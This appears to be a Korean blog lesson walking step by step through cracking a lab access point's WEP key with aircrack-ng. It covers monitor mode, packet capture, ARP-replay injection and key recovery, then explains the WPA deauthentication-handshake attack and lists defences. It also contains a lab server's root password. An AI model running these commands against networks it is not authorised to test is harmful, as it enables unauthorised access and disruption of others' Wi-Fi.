본문 바로가기

Learning/└◆Wireless Hacking

WEP Password Cracking

WEP 패스워드 크래킹 

-> 많은 패킷을 잡아서 그것을 분석하는 방법을 이용


 

VM 안에 있는 KaliLinux에서 "USB 무선랜카드"를 사용해야 하는 이유

노트북(유선/무선 랜카드) ---> VMware(유선 랜카드) ---> VM(유선 랜카드(리눅스))

노트북(USB 무선 랜카드 ) ---> VMware(USB 무선랜카드) ---> VM(무선 랜카드(리눅스)) 

  /* 하나의 VM에서만 사용할 수 있다. 공통으로 read/write하면 문제가 생기므로 vmware가 lock이 걸어버린다. 칼리리눅스에서 사용하면 윈도우에서 사용하지 못한다. 그래서 윈도우에 드라이버를 설치하지 않는다. 칼리리눅스는 범용드라이버가 미리 들어있어서 인식이 된다. 결론은 자원은 한 군데에서만 사용한다.

 

 

USB 방식의 무선랜(EX: ZIO2600DU) 카드를 윈도우7 PC에 물리적으로 장착

 

USB 방식의 무선랜 카드를 윈도우7 PC에 물리적으로 장착

 

VMware > VM > Removable Device > 적당한 무선랜카드 선택 > connect

 


# lsusb          /* usb목록 보기

 

Bus 001 Device 002: ID 148f:5572 Ralink Technology, Corp.         /* Ralink 제품

Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub

Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse

Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

 

 

 

무선 랜카드가 모니터(Monitor) 모드를 지원하는지 확인

-WEP 키 크래킹을 위해서는 WEP 데이터 속에 존재하는 IV(Initialization Vector)를 많이 확보해야 한다.

-그렇게 하기 위해서는 무선 랜카드의 상태를 관리(Managed Mode)모드에서 모니터(Monitor) 모드로 전환해야 한다.

-따라서 사용하는 무선 랜카드가 모니터 모드를 지원하는지 반드시 확인해야 한다.

-무선 랜카드가 모니터 모드를 지원하고 있는지 확인하기 위해서는 무선 랜카드 매뉴얼을 확인한다

  현재 실습에서 사용되는 ZIO2600DU USB무선랜카드는 Monitor Mode를 지원한다.


 

------------------------------------------------------------

유선 LAN Card 무선 LAN Card

------------------------------------------------------------

(promiscuous mode : on) 모니터 모드(Managed Mode -> Monitor Mode)

# ifconfig eth0 promisc # airmon-ng start wlan0

(promiscuous mode : off) 관리 모드(Monitor Mode -> Managed Mode)

# ifconfig eth0 -promisc # airmon-ng stop mon0 

------------------------------------------------------------

모든 카드는 기본적으로 관리용 모드(=promisc off)로 되어있다. 목적지 주소가 자기것으로 되었을때만 받아들이고 나머지는 버린다. 패킷을 캡쳐할때는 모든 패킷을 받아들여야하는데 promisc on이면 모든 패킷을 다 받고 -promisc (=promisc off)이면 목적지 주소가 자기것으로 된것만 받아들인다.


ifconfig/iwconfig로 카드 이름을 확인할 수 있다.

 

[참고] 무선 랜카드의 모드

-매니지드 모드(Managed Mode) : 무선 클라이언트가 무선 AP(WAP(Wireless Access Point))에 직접 연결할 때 사용한다. 무선 NIC와 연관된 드라이버는 전체 통신 프로세스를 관리하는 WAP에 의지한다. (=관리용모드, 일반적인 통신에서 사용하는 방식)


-애드 혹 모드(Ad Hoc Mode) : 장치들이 직접 서로 연결되는 무선 네트워크 설정에서 사용한다. 보통 WAP을 담당하는 책임을 서로 통신하고자 하는 두개의 무선 클라이언트들이 공유한다. (무선AP와 무선AP를 붙힐 수 있는 모드, 모니터링 용도로 상요한다.)


-마스터 모드(Master Mode) : 일부 고급 무선 NIC는 마스터 모드를 지원한다. 컴퓨터가 다른 장치들을 위해 WAP 처럼 동작하게 틀별한 드라이버 소프트웨어와 결합해 무선 NIC가 동작한다.


-모니터 모드(Monitor Mode) : 무선 클라이언트가 데이터 송신과 수신을 중단하고 공중을 통해 전송되는 패킷을 감청하기만 할 때 사용한다. 무선 패킷을 갭쳐하기 위해서는 무선 NIC가 모니터 모드를 지원해야 한다.

 

 

 

 

무선 랜카드를 확인

-ifconfig    - configure a network interface

-iwconfig    - configure a wireless network interface

-airmon-ng   - bash script designed to turn wireless cards into monitor mode.

-airodump-ng - a wireless packet capture tool for aircrack-ng (dump뜨는 것)

-aircrack-ng - a 802.11 WEP / WPA-PSK key cracker (비밀번호 크랙하는 툴)

 

# ifconfig

-> 설정 확인(무선 LAN Card 정보가 보이는가?) => wlan0

 

..... (중략) .....

wlan0     Link encap:Ethernet  HWaddr 3c:a3:15:02:6a:de  

          UP BROADCAST MULTICAST  MTU:1500  Metric:1

          RX packets:0 errors:0 dropped:0 overruns:0 frame:0

          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

 

-> 설정 확인(무선 LAN Card 정보가 보이는가?)

-> 만약 안보인다면 아래를 참고한다.

 

[참고] 무선랜카드가 보이지 않는 경우

무선 랜카드를 KaliLinuxconnect 한다.

VMware > VM > Removable Devices > Ralink 802.11 n WLAN Adapter > Connect

 

# iwconfig

 

wlan0     IEEE 802.11abgn  ESSID:off/any  

          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   

          Retry short limit:7   RTS thr:off   Fragment thr:off

          Encryption key:off

          Power Management:off

          

lo        no wireless extensions.


eth0      no wireless extensions.


eth1      no wireless extensions.

 

 

무선랜카드를 모니터 모드(관리모드 -> 모니터모드)로 전환

-airmon-ng - bash script designed to turn wireless cards into monitor mode.

-usage: airmon-ng <start|stop|check> <interface> [channel or frequency]

  EX) # airmon-ng stop mon0 

  EX) # airmon-ng start mon0 12

 

# airmon-ng

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

 

-> Interface 이름 : wlan0, ath0(atheros 칩셋), ra0

-> Chipset 이름 : Ralink RT2870/3070

-> 드라이버 이름 : rt2800usb

 

# lsmod | grep rt        /* list module

 

vmw_vsock_vmci_transport    29399  3 

vsock                  26203  4 vmw_vsock_vmci_transport

rt2800usb              21854  0 

rt2x00usb              17426  1 rt2800usb

rt2800lib              76819  1 rt2800usb

rt2x00lib              41338  3 rt2x00usb,rt2800lib,rt2800usb

mac80211              446741  3 rt2x00lib,rt2x00usb,rt2800lib

cfg80211              357998  2 mac80211,rt2x00lib

crc_ccitt              12331  1 rt2800lib

vmw_vmci               54642  1 vmw_vsock_vmci_transport

gameport               13306  1 snd_ens1371

parport_pc             25991  0 

parport                35171  1 parport_pc

scsi_transport_spi     23201  1 mptspi

usbcore               171083  6 uhci_hcd,rt2x00usb,rt2800usb,ehci_hcd,ehci_pci,usbhid

scsi_mod              172550  8 sg,scsi_transport_spi,libata,mptspi,vmw_pvscsi,sd_mod,sr_mod,mptscsih

 

-> 무선랜 드라이버가 메모리 로딩 되었는지 확인

-> 무선랜 드라이버가 메모리에 로딩 되어 있지 않다면

() 무선랜 드라이버를 설치하고

() modprobe CMD or insmod CMD 명령어를 사용하여 메모리에 로딩해야 한다.

 

# airmon-ng --help

 

usage: airmon-ng <start|stop|check> <interface> [channel or frequency]

 

 

# airmon-ng start wlan0

 

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-e 

PID Name

3389 NetworkManager           /* 충동할 수 있으니 잠신만 프로그램을 꺼달라는 의미

3623 wpa_supplicant



Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

(monitor mode enabled on mon0)

 

-> 내부적으로 wlan0 인터페이스를 비활성화 하고 mon0(monitor mode) 가상 인터페이스를 생성하고

mon0 인터페이스를 활성화 한다.

 

# airmon-ng

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

mon0 Ralink RT2870/3070 rt2800usb - [phy0]

 

 

불필요한 프로세스 종료

# airmon-ng check kill (# kill 3389 3623)

 

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after

a short period of time, you may want to kill (some of) them!

-e 

PID Name

3389 NetworkManager

3623 wpa_supplicant

Killing all those processes...

 

-> 만약 직접 종료하는 경우라면 kill 명령어를 사용한다.

# kill 3389 3623

 -> (주의) kill 시키고 나면 나중에 실습이 끝난 이후에

   # service network-manager restart

   # service networking restart

   해야 한다.


공격할 무선 AP을 검색

-airodump-ng - a wireless packet capture tool for aircrack-ng

-usage: airodump-ng <options> <interface>[,<interface>,...]

   EX) # airodump-ng mon0

   EX) # airodump-ng -c 12 --bssid 64:E5:99:43:65:32 -w securityhacker mon0

 

# airodump-ng mon0      /* 와이어샤크처럼 패킷을 잡을때 사용, 반드시 모니터모드로 전환해서 사용

 

 CH  5 ][ Elapsed: 40 s ][ 2014-12-02 15:59                                         

                                                                                          

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

                                                                                          

 64:E5:99:43:65:32  -40      123        0    0   3  54e  WEP  WEP         securityhacker3 

 64:E5:99:43:65:31  -41      118        0    0   3  54e  WPA  TKIP   PSK  securityhacker2 

 64:E5:99:43:65:30  -40      110        2    0   3  54e  WPA2 CCMP   PSK  securityhacker  

 64:E5:99:43:65:33  -40      124        2    0   3  54e  OPN              securityhacker4 

 00:08:5B:7B:22:00  -57      101        0    0   3  54e. WPA  TKIP   PSK  <length:  0>    

 00:08:5B:7B:22:01  -59      101        3    0   3  54e. WPA2 TKIP   PSK  uri401          

 64:E5:99:42:60:A4  -59       65        3    0   5  54e  WPA2 CCMP   PSK  soldesk11       

 64:E5:99:58:B1:B0  -65       38        0    0   5  54e  WEP  WEP         Android         

 00:08:5B:7B:22:F1  -66       29       12    0   4  54e. WPA2 TKIP   PSK  uri402-2        

 00:08:5B:7B:22:F0  -67       36        0    0   4  54e. WPA  TKIP   PSK  <length:  0>    

 00:08:5B:7B:25:B1  -67       49        0    0   9  54e. WPA2 TKIP   PSK  uri402-1        

 00:08:5B:7B:25:B0  -69       57        0    0   9  54e. WPA  TKIP   PSK  <length:  0>    

 00:08:9F:45:32:84  -70       12        0    0   9  54e  WPA2 TKIP   PSK  UgaKing111150   

 00:08:9F:A7:E7:D8  -71       21        0    0  11  54e  WPA2 CCMP   PSK  test            

 64:E5:99:3F:0D:6C  -71        7        2    0   9  54e  WPA2 CCMP   PSK  WSEKOREA2       

                                                                                          

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                

                                                                                          

 (not associated)   88:53:2E:BE:58:F2  -67    0 - 1      0        2                        

 (not associated)   D0:95:C7:3F:D7:6F  -41    0 - 1      0       10                        

 (not associated)   B4:62:93:58:96:D7  -53    0 - 1      0        6                        

 (not associated)   04:1B:BA:1E:C4:81  -63    0 - 1      0        1                        

 (not associated)   E0:CA:94:E4:89:B0  -69    0 - 1    101       16                        

 (not associated)   18:83:31:A5:89:7F  -69    0 - 1      0        8                        

 (not associated)   D0:22:BE:FB:95:7F  -71    0 - 1      0        1 


<CTRL + C>   

 

-> 약간 시간이 걸린 후(1~ 2)에 종료한다.

-> 타겟이 되는 무선 공유기(무선 AP) ESSID(MAC 주소)와 채널 번호를 확인한다.


상단 - 무선

하단 - 스테이션, PC에 대한 정보


 

------------------------------------------------------

항목     설명

------------------------------------------------------

BSSID    AP MAC 주소(EX: 64:E5:99:43:65:30), BSSID(Basic service set identifier) /* ESSID와 맵핑된 정보, 통신할 때                                                                  사용하는 MAC주소를 지정해서 사용, ESSID와 똑같은 의미다.

PWD      수신율

Beacon   Beacon Frame Message 카운트 수

CH       채널 번호

ENC       암호화 알고리즘(Encryption algorithm) (EX: OPN, WEP, WPA/WPA2)

CIPHER   암호문 형식(Cipher detedted) (EX: CCMP, WRAP, TKIP, WEP, WEP40, WEP104)

AUTH     인증 프로토콜(Authentication protocol) 

- MGT(WPA/WPA2 using a separate authentication server)

- SKA(shared key for  WEP)

- PSK(pre-shared key for WPA/WPA2)

- OPN (open for WEP)

ESSID    AP의 SSID

------------------------------------------------------




 

[참고] airodump-ng 명령어

# man airodump-ng

NAME

       airodump-ng - a wireless packet capture tool for aircrack-ng


SYNOPSIS

       airodump-ng [options] <interface name>


DESCRIPTION

       airodump-ng  is  used  for packet capturing of raw 802.11 frames for

       the intent of using  them  with  aircrack-ng.  If  you  have  a  GPS

       receiver  connected  to the computer, airodump-ng is capable of log‐

       ging the coordinates of the found access points. Additionally, airo‐

       dump-ng  writes out a text file containing the details of all access

       points and clients seen.


       BSSID  MAC  address  of  the  access point. In the Client section, a

              BSSID of "(not associated)" means  that  the  client  is  not

              associated  with  any  AP.  In this unassociated state, it is

              searching for an AP to connect with.


       PWR    Signal level reported by the card. Its signification  depends

              on  the  driver, but as the signal gets higher you get closer

              to the AP or the station. If the BSSID PWR is  -1,  then  the

              driver  doesn't support signal level reporting. If the PWR is

              -1 for a limited number of stations then this is for a packet

              which came from the AP to the client but the client transmis‐

              sions are out of range for your card. Meaning you are hearing

              only  1/2 of the communication. If all clients have PWR as -1

              then the driver doesn't support signal level reporting.


       RXQ    Only shown when on a fixed channel. Receive Quality  as  mea‐

              sured  by  the  percentage  of  packets  (management and data

              frames) successfully received over the last 10 seconds.  It's

              measured  over  all  management  and  data frames. That's the

              clue, this allows you to read more things out of this  value.

              Lets  say you got 100 percent RXQ and all 10 (or whatever the

              rate) beacons per second coming in. Now all of a  sudden  the

              RXQ  drops  below 90, but you still capture all sent beacons.

              Thus you know that the AP is sending frames to a  client  but

              you  can't  hear  the client nor the AP sending to the client

              (need to get closer). Another thing would be, that you got  a

              11MB  card to monitor and capture frames (say a prism2.5) and

              you have a very good position to the AP. The  AP  is  set  to

              54MBit  and  then again the RXQ drops, so you know that there

              is at least one 54MBit client connected to the AP.


       Beacons

              Number of beacons sent by the AP.  Each  access  point  sends

              about ten beacons per second at the lowest rate (1M), so they

              can usually be picked up from very far.


       #Data  Number of captured data packets (if WEP,  unique  IV  count),

              including data broadcast packets.


       #/s    Number  of  data  packets per second measure over the last 10

              seconds.


       CH     Channel number (taken from beacon packets).  Note:  sometimes

              packets  from other channels are captured even if airodump-ng

              is not hopping, because of radio interference.


       MB     Maximum speed supported by the AP. If MB = 11, it's  802.11b,

              if  MB  =  22 it's 802.11b+ and higher rates are 802.11g. The

              dot (after 54 above) indicates short preamble  is  supported.

              'e' indicates that the network has QoS (802.11e) enabled.

       ENC    Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP

              or  higher  (not  enough  data  to  choose  between  WEP  and

              WPA/WPA2),  WEP  (without the question mark) indicates static

              or dynamic WEP, and WPA or WPA2 if TKIP or  CCMP  or  MGT  is

              present.


       CIPHER The  cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or

              WEP104. Not mandatory, but TKIP is typically  used  with  WPA

              and CCMP is typically used with WPA2. WEP40 is displayed when

              the key index is greater then 0. The standard states that the

              index can be 0-3 for 40bit and should be 0 for 104 bit.


       AUTH   The  authentication protocol used. One of MGT (WPA/WPA2 using

              a separate authentication server), SKA (shared key for  WEP),

              PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).


       ESSID  The  so-called  "SSID",  which can be empty if SSID hiding is

              activated. In this case, airodump-ng will try to recover  the

              SSID from probe responses and association requests.


       STATION

              MAC  address of each associated station or stations searching

              for an AP to connect with. Clients not  currently  associated

              with an AP have a BSSID of "(not associated)".


       Rate   This is only displayed when using a single channel. The first

              number is the last data rate  from  the  AP  (BSSID)  to  the

              Client  (STATION).  The  second  number is the last data rate

              from Client (STATION) to the AP (BSSID).


       Lost   It means lost packets coming from the  client.  To  determine

              the  number  of  packets  lost,  there is a sequence field on

              every non-control frame, so you can subtract the second  last

              sequence  number  from  the last sequence number and you know

              how many packets you have lost.


       Packets

              The number of data packets sent by the client.


       Probes The ESSIDs probed by the client. These are the  networks  the

              client  is  trying  to connect to if it is not currently con‐

              nected.

 

 

 

 

 

 

 

 

 

 

공격 대상 AP로 채널을 고정 시킨 후 airodump-ng를 이용하여 공격 대상 APSTATION 사이에 주고 받는 패킷을 캡쳐

-airodump-ng - a wireless packet capture tool for aircrack-ng

-aircrack-ng - a 802.11 WEP / WPA-PSK key cracker

 

핸드폰으로 securityhacker3(aaaaa) AP에 연결한다.

핸드폰에서는 유투브 동영상을 보고 있도록 한다.

 

# airodump-ng -c 3 --bssid 64:E5:99:43:65:32 mon0      /*채널3번에 bssid를 설정하여 패킷을 잡겠다.

 

CH  3 ][ Elapsed: 19 mins ][ 2014-09-05 15:02 

                                                                                                               

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID


 64:E5:99:43:65:32 -47   77      562     16236  288   3  54   WEP     WEP     securityhack3


 BSSID              STATION             PWR   Rate    Lost    Frames  Probe

                   

 64:E5:99:43:65:32  C0:65:99:EB:33:39    0   48e- 6     64      304  securityhacker3

<CTRL + C>

 

-> 밑에 station의 끝에 부분정도는 외워두자


# mkdir -p /test && cd /test && rm -rf /test/*
 <!--[endif]-->

# airodump-ng -c 3 --bssid 64:E5:99:43:65:32 -w securityhacker mon0  /* securityhacker로 write작업을 한다.  

 

 CH  3 ][ Elapsed: 2 mins ][ 2014-09-05 15:08                                         

                                                                                                               

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

                                                                                                               

 64:E5:99:43:65:32    0  20     1220       94    0   3  54e  WEP  WEP         securityhacker3                  

                                                                                                               

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                     

                                                                                                               

 64:E5:99:43:65:32  C0:65:99:EB:33:39    0   48e- 6      0       88 

<CTRL + C>

 

-> 1분정도하고 멈춘다.

-> Data와 Beacons이 중요하다. 



 

   # man airodump-ng

      -c    <channel>[,<channel>[,...]],    --channel    <channel>[,<chan‐

    nel>[,...]]

             Indicate the channel(s) to listen to. By default  airodump-ng

             hop on all 2.4GHz channels.


      -d <bssid>, --bssid <bssid>

             It will only show networks, matching the given bssid.


      -w <prefix>, --write <prefix>

             Is the dump file prefix to use. If this option is not  given,

             it  will only show data on the screen. Beside this file a CSV

             file with the same filename as the capture will be created..

 

WEP 키 크래킹

aircrack-ng - a 802.11 WEP / WPA-PSK key cracker

 

# ls -l

 

-rw-r--r-- 1 root root 155  122 16:02 securityhacker-01.cap

-rw-r--r-- 1 root root 387  122 16:03 securityhacker-01.csv

-rw-r--r-- 1 root root 583  122 16:03 securityhacker-01.kismet.csv

-rw-r--r-- 1 root root 1.6K 122 16:03 securityhacker-01.kismet.netxml

 

 

# file *

 

securityhacker-01.cap:           tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535)

securityhacker-01.csv:           ASCII text, with CRLF line terminators

securityhacker-01.kismet.csv:    ASCII text, with very long lines, with CRLF, LF line terminators

securityhacker-01.kismet.netxml: XML document text

 

-> securityhacker-01.cap 파일은 wireshark를 통해 볼수도 있다. /* cap은 pcap파일이다.

  # cd /test

  # wireshark &

  -> securityhacker-01.cap 파일을 open 한다.

 

 

 

 

# aircrack-ng -z securityhacker-01.cap

 

                               Aircrack-ng 1.2 beta3



               [00:00:04] Tested 173377 keys (got 94 IVs)


   KB    depth   byte(vote)

    0   11/ 18   DA( 512) 05( 256) 09( 256) 11( 256) 14( 256) 

    1   11/ 12   DE( 512) 16( 256) 1A( 256) 1D( 256) 26( 256) 

    2    7/  8   FB( 512) 03( 256) 06( 256) 07( 256) 0B( 256) 

    3   11/  3   F9( 512) 03( 256) 04( 256) 06( 256) 07( 256) 

    4    2/  4   DA( 768) 02( 512) 0D( 512) 56( 512) 58( 512) 


Failed. Next try with 5000 IVs.

<CTRL + C>

Quitting aircrack-ng..

 

-> IV값을 갖고 패스워드를 크랙하기 시작한다.

-> WEP 패스워드 크랙에 실패했다.

-> 실패한 이유는 너문 적은 IV 가지고 작업을 했기 때문이다.

 

  # man aircrack-ng

         -z Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Wein

            mann) attack (default attack).

 

ARP 인젝션 공격(ARP Injection Attack)

-단시간내에 많은 IV 값을 수집하기 위해서 ARP Injection Attack 수행한다.

 

-WEP 64bit  : 250,000개 이상의 IV 수집해야 하며, 20,000개 이상의 데이터가 수집이 필요

-WEP 128bit : 1,500,000개 이상의 IV 수집해야 하며, 50,000개 이상의 데이터가 수집이 필요

 

[TERM1] 모니터링 윈도우

# airodump-ng -c 3 --bssid 64:E5:99:43:65:32 -w securityhacker3 mon0

 

 CH  3 ][ Elapsed: 1 min ][ 2014-09-05 15:40                                

                                                                            

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUT

                                                                            

 64:E5:99:43:65:32    0  21      753      110    0   3  54e  WEP  WEP       

                                                                            

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe  

                                                                            

 64:E5:99:43:65:32  C0:65:99:EB:33:39    0   48e- 6      0      123        

 

-> 상당히 오랜시간(30~ 2시간 사이정도)이 실행되어야 한다.

-> 더 오래 걸릴수도 있다.

 

[TERM2] 공격용 윈도우

-ARP 인젝션(Injection) 또는 페이크 인증(fake authentication) 사용할 수도 있고

-실제 모의 해킹이라면 패킷을 많이 생성하기 위한 방법으로 핸드폰에서 유부브 동영상을 보면 된다.

-아래는 ARP Injectionchannel 3에 존재하는 APBSSID(securityhacker3)를 지정하여 공격하는 명령어이다.

 

# aireplay-ng -3 -b 64:E5:99:43:65:32 mon0

 

No source MAC (-h) specified. Using the device MAC (64:E5:99:F2:C5:9D)

15:40:07 Waiting for beacon frame (BSSID: 64:E5:99:43:65:32) on channel 3

Saving ARP requests in replay_arp-0905-154007.cap

You should also start airodump-ng to capture replies.

ad 7512 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

Read 38676 packets (got 10 ARP requests and 0 ACKs), sent 73518 packets...(499 pps)

Read 39106 packets (got 10 ARP requests and 0 ACKs), sent 74920 packets...(499 pps)

..... (생략) .....

<CTRL + C>

 

-> 상당히 오랜 시간이 지난이후에 <CTRL + C>를 통해 종료

-> 상대에게 많은 패킷을 보내고 난후에 종료하면 된다.

 

  # aireplay-ng

    Filter options:

      -b bssid : MAC address, Access Point      너무 많은 패킷이 잡히므로 특정하게 선택해서 잡아야 한다.

 

    play options:

      -h smac : set Source MAC address

 

    Attack modes (numbers can still be used):

      --deauth count    : deauthenticate 1 or all stations (-0)  WPA, WAP2 크랙할때 많이 사용, 인증을 다시하라고 할때 사용

      --fakeauth delay  : fake authentication with AP (-1)       WEP 크랙할때 사용

      --interactive     : interactive frame selection (-2)

      --arpreplay      : standard ARP-request replay (-3)      WEP 크랙할때 사용

      --chopchop        : decrypt/chopchop WEP packet (-4)

      --fragment        : generates valid keystream (-5)

      --caffe-latte     : query a client for new IVs (-6)

      --cfrag           : fragments against a client (-7)

      --migmode         : attacks WPA migration mode (-8)

      --test            : tests injection and quality (-9)

 

WEB 키 크래킹

-[TERM1] [TERM2] 창을 <CTRL + C>를 통해 툴을 종료하고 다시 aircrack-ng 툴을 통해 WEP 키 크래킹

 

[TERM2] 공격용 윈도우

# aircrack-ng -z securityhacker3-01.cap      /* '-01' 부분에서 가장 큰번호를 써야한다.

 

                                  Aircrack-ng 1.2 beta3



                              [00:00:00] Tested 14 keys (got 25282 IVs)


KB    depth   byte(vote)

 0    2/  4   67(32000) 61(31488) C8(30976) F3(30976) BF(30720) 32(30464) C6(30208) 08(29952) 

 1    0/  2   61(35072) 8F(33536) 37(32000) D9(31232) 7A(30976) 7E(30976) E5(30976) D7(30720) 

 2    0/  1   61(35840) 60(31232) 20(30976) 09(30464) C4(30464) 57(30208) B9(29952) C6(29952) 

 3    0/  2   61(36352) FC(34816) 8D(32256) B0(31232) E7(30976) 42(30720) 5E(30720) FF(30720) 

 4    0/  1   61(35328) 15(32768) DC(32512) 85(31744) A9(31488) 7C(31232) 3B(30720) C3(30208) 


                  KEY FOUND! [ 61:61:61:61:61 ] (ASCII: aaaaa )

Decrypted correctly: 100%

 

 

   [참고] 원격에 미리 만들어 놓은 패킷 캡쳐 파일들 복사 및 사용하는 방법

   # cd /test && mkdir packet && cd packet

   # scp 172.16.9.252:/root/security/packet/* /root/packet

   ID/PASS : root/centos

   # aircrack-ng -z securityhacker3-01.cap

 

 

작업이 끝났다면 무선랜카드를 관리 모드(모니터모드 -> 관리모드)로 전환

# airmon-ng

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

mon0 Ralink RT2870/3070 rt2800usb - [phy0]

 

 

 

 

# iwconfig

 

wlan0     IEEE 802.11abgn  ESSID:off/any  

          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   

          Retry short limit:7   RTS thr:off   Fragment thr:off

          Encryption key:off

          Power Management:off

          

lo        no wireless extensions.


mon0      IEEE 802.11abgn  Mode:Monitor  Frequency:2.442 GHz  Tx-Power=20 dBm   

          Retry short limit:7   RTS thr:off   Fragment thr:off

          Power Management:off

          

eth0      no wireless extensions.


eth1      no wireless extensions.

 

 

# airmon-ng stop mon0

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

mon0 Ralink RT2870/3070 rt2800usb - [phy0] (removed)

 

 

 

 

(절차정리) WEP 방식의 키 크래킹

USB 방식의 무선 랜카드 장착       (물리적으로 장착)

# airmon-ng start wlan0        (wlan0 -> mon0)

# airodump-ng mon0             (WEB 방식의 AP 검색) /* bssid 지정하기전에 먼저 검색해야 한다.

# airodump-ng -c 3 --bssid 64:E5:99:43:65:32 -w packet mon0 (WEB 방식의 패킷 캡쳐 & 저장)

# aircrack-ng -z packet-01.cap (WEB 방식의 키 크랙)




 

 

(보안 대책)

사용자 제어 정책

-무선 랜 사용과 관련된 조직의 보안 정책 개발

-무선 랜 사용자에 대한 보안 교육

-건물과 무선 랜 장비 사용 장소에 대한 물리적인 접근 제어

-집단 내에 보유한 무선 랜 장비의 목록 작성/관리

-WEP 암호화 사용 금지

 

AP 제어 정책

-무선 랜카드와 AP의 보안 패치 적용

-AP 송신 파워 조절

-AP 설치시 외부와 인접한 장소(, 창문 등) 회피

-AP 설치시 외부에 신호가 노출되지 않게 주변 벽 재질을 RF 감쇠율이 높은 금속으로 사용

-미 사용 AP 전원 차단

-APBeacon 패킷(SSID 브로드캐스트) 기능 차단

-APSSID 설정시 부서명, 회사명, 제품명 등의 사용 금지

-MAC 필터링을 이용해서 인가된 사용자만 접근 허용ㅂ

 

IDPS 제어

-WIDPS 관리자, WIDPS 센서 설치 후 관제와 침입 차단


WPA 키 크래킹

 

WPA(Wi-Fi Protected Access)802.11 와이파이 사용자를 위해 개발된 보안 표준으로 WEP 암호화 방식에 비해 정교한 데이터 암호화를 제공하며, WEP의 불충분한 인증 과정을 개선해 좀 더 나은 인증 기능을 제공한다. 암호화 기법으로는 TKIPAES을 사용한다.

 

TKIP란 순서 규칙이 있는 48비트 초기화 벡터를 이용하며, 키 재사용과 재생 공격을 방지하고 패킷당 키 혼합 기능 패킷 위조 공격을 방어하는 암호화된 체크섬 기능을 제공한다.

 

AES128,192,256비트 등의 가변 키 크기를 갖는 수학적 알고리즘을 제공하며, 암호화된 데이터는 AES 알고리즘의 키 값 없이는 원래 데이터로 복호화가 거의 불가능하다. AES 암호화 방식은 기밀 유출 사고를 방지하기 위해 많이 사용되고 있다.

 

WPA 키 크래킹을 할 때는 WEP 키 방식과는 많은 차이점이 있다. 무선 통신상의 전송 내용을 암호화하는 키가 기존 WEP에서는 고정돼 있지만, WPA 인증방식에서는 암호 키를 특정 시간이나 일정 크기의 패킷 전송 후에 자동으로 변경하기 때문에 WEP 크래킹과 같은 방법으로는 크랙이 어렵다. , 키 갯신이 매우 빠르기 때문에 데이터 수집이 무의미하다.

 

 

WPA 취약점에 대해서

 


STATION               무선AP

|  Authentication Request |

| -----------------------> |

|                         |

| Challenge Text           |

| <----------------------  |

|                         |

| Challenge Response       |

| -----------------------> |

|                         |

| Authentication Response  |

| <----------------------- |

|                        |


[그림] WPA 통신 방법

 

WPA 암호화 방식은 사용자 AP에 접속할 때 미리 설정한 키를 알아야만 인증하게 하는 방식으로 공유키(Shared Key) 인증 방식을 사용한다. 공유 키 인증 방식은 WPA 핸드세이킹(Hand shaking) 과정을 거치는데, 공유 키 인증 방식은 암호 알고리즘의 취약점을 공격하지 않고, 인증 패킷 스니핑만으로 키 값을 알아 낼 수 있는 취약점을 지니고 있다. 위와 같은 공유 키 인증 방식은 무선 결합 과정인 PassiveActive 결합 과정에서 인증 과정인 Authentication 시점에서 사용된다.

 


STATION                  무선AP

| Probe Request            |

| -----------------------> |

|                         |

| Probe Response          |

| <----------------------  |

|                         |

| Authentication Request   |

| -----------------------> |

|                        |

| Authentication Response  |

| <----------------------- |

|                        |

| Association Request      |

| -----------------------> |

|                        |

| Association Response     |

| <----------------------- |

|                         |


[그림] 무선 Active 결합 과정


 

무선 Active 결합 과정과 같이 한 번 인증을 거친 스테이션은 다음번 인증을 할 때 인증 과정을 거치지 않고, 무선 프로파일(profile)을 참조해, 스테이션 먼저 프로브(Probe) 요청을 보내 자동으로 접속하게 된다. 이러한 취약점을 이용해 공격자는 Deauthentication Packet을 이용해 DoS 공격을 수행한 후 클라이언트가 AP에 다시 재 결합할 때 발생하는 인증 패킷을 스니핑해 WPA 키 크래킹을 시도한다.

 

'Learning > └◆Wireless Hacking' 카테고리의 다른 글

WPA2 Key Cracking  (0) 2017.02.01
WPA Key Cracking  (0) 2017.02.01
Wireless Hacking  (0) 2017.02.01
Wireless Hacking summary  (0) 2017.02.01